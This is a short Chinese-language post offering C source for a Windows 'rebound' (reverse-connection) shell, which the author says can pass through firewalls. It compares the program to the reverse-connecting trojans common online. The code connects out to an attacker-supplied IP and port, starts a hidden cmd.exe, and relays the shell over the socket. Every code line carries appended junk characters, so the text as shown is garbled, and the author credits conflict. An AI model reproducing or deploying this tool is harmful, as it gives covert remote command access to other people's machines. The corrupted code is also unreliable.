这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u>=\.d<
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/* ============================== +U4';[LG1C
Rebound port in Windows NT \-sW>LIA
By wind,2006/7 v`S ;.iD
===============================*/ O$N;a9g
#include IC1nR
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#include DXQ]b)y+N
c}s#!|E0v
#pragma comment(lib,"wsock32.lib") *=tA },`\7
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void OutputShell(); lMcO2006L
SOCKET sClient; @bChJl4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v +o6ZNX
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void main(int argc,char **argv) q=*bcDu
{ ,L4zhhl!_
WSADATA stWsaData; >v f-,B
int nRet; f:6F5G
SOCKADDR_IN stSaiClient,stSaiServer; X ka+1c
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if(argc != 3) WJ^]mpH9
{ EMpq+LrN
printf("Useage:\n\rRebound DestIP DestPort\n"); 2:<H)oB
return; JeF$ W!!{
} Bd- &~s^
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9|Ylv:sR
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3Pp+>{2_?
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stSaiClient.sin_family = AF_INET; %V#MUi1
stSaiClient.sin_port = htons(0); <"}t\pT]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4iZg2"[D
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )&Z`SaoP|J
{ I8c:U2D
printf("Bind Socket Failed!\n"); `\'V]9wS
return; PjXiYc&
} OUFy=5(%:
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stSaiServer.sin_family = AF_INET; F_I!qcEQ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *.KVrS<B1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); FHEP/T\5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 947;6a%$
{ vif)g6,
printf("Connect Error!"); j\zlp
return; O#p_rfQ
} 9XKqsvdS
OutputShell(); W*Ow%$%2
} %I{>H%CjE
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void OutputShell() y4$$*oai&
{ Xfbr;Jt"<
char szBuff[1024]; B/o8r4[80
SECURITY_ATTRIBUTES stSecurityAttributes; 4O.R=c2}7>
OSVERSIONINFO stOsversionInfo; PgA1:i&'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8aKS=(Z!j
STARTUPINFO stStartupInfo; GB"Orm.
char *szShell; !"&-k:|g
PROCESS_INFORMATION stProcessInformation; bC98<if
unsigned long lBytesRead; agE-,
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f=VlO d
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fK *l?Hr
stSecurityAttributes.lpSecurityDescriptor = 0; s:_a.4&Y
stSecurityAttributes.bInheritHandle = TRUE; JYmYX-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q'4P/2)va
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fD3'Ye<R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hc3tzB
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <&2<>*/.y
stStartupInfo.wShowWindow = SW_HIDE; ww[||
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stStartupInfo.hStdInput = hReadPipe; BkPt 1i
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TU58
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GetVersionEx(&stOsversionInfo); !3\$XK]5ZT
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switch(stOsversionInfo.dwPlatformId) +\;Ro18?
{ W7gY$\1<&
case 1: 4:^MSgra
szShell = "command.com"; 4;
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break; !]E]Xd<
default: $ZZ?*I
szShell = "cmd.exe"; K=E+QvSG
break; gat;Er
} VH<d[Mj
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !M`.(sO]
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send(sClient,szMsg,77,0); 5S_fvW;
while(1) ]$ Nhy8-
{ w!v^6[!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); NZa 7[}H
if(lBytesRead) `(`-S
md
{ '/t9#I@G\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); N)Q.P'`N
send(sClient,szBuff,lBytesRead,0); g5"I{ol5T~
} TJZ/lJU
else [CfZE
{ w4CcdpR
lBytesRead=recv(sClient,szBuff,1024,0); *OdmKVw6G
if(lBytesRead<=0) break; J\w4N",
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pZlt4
} ]z8/S!?
} Yw]$/oP`
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return; *o\AP([@
}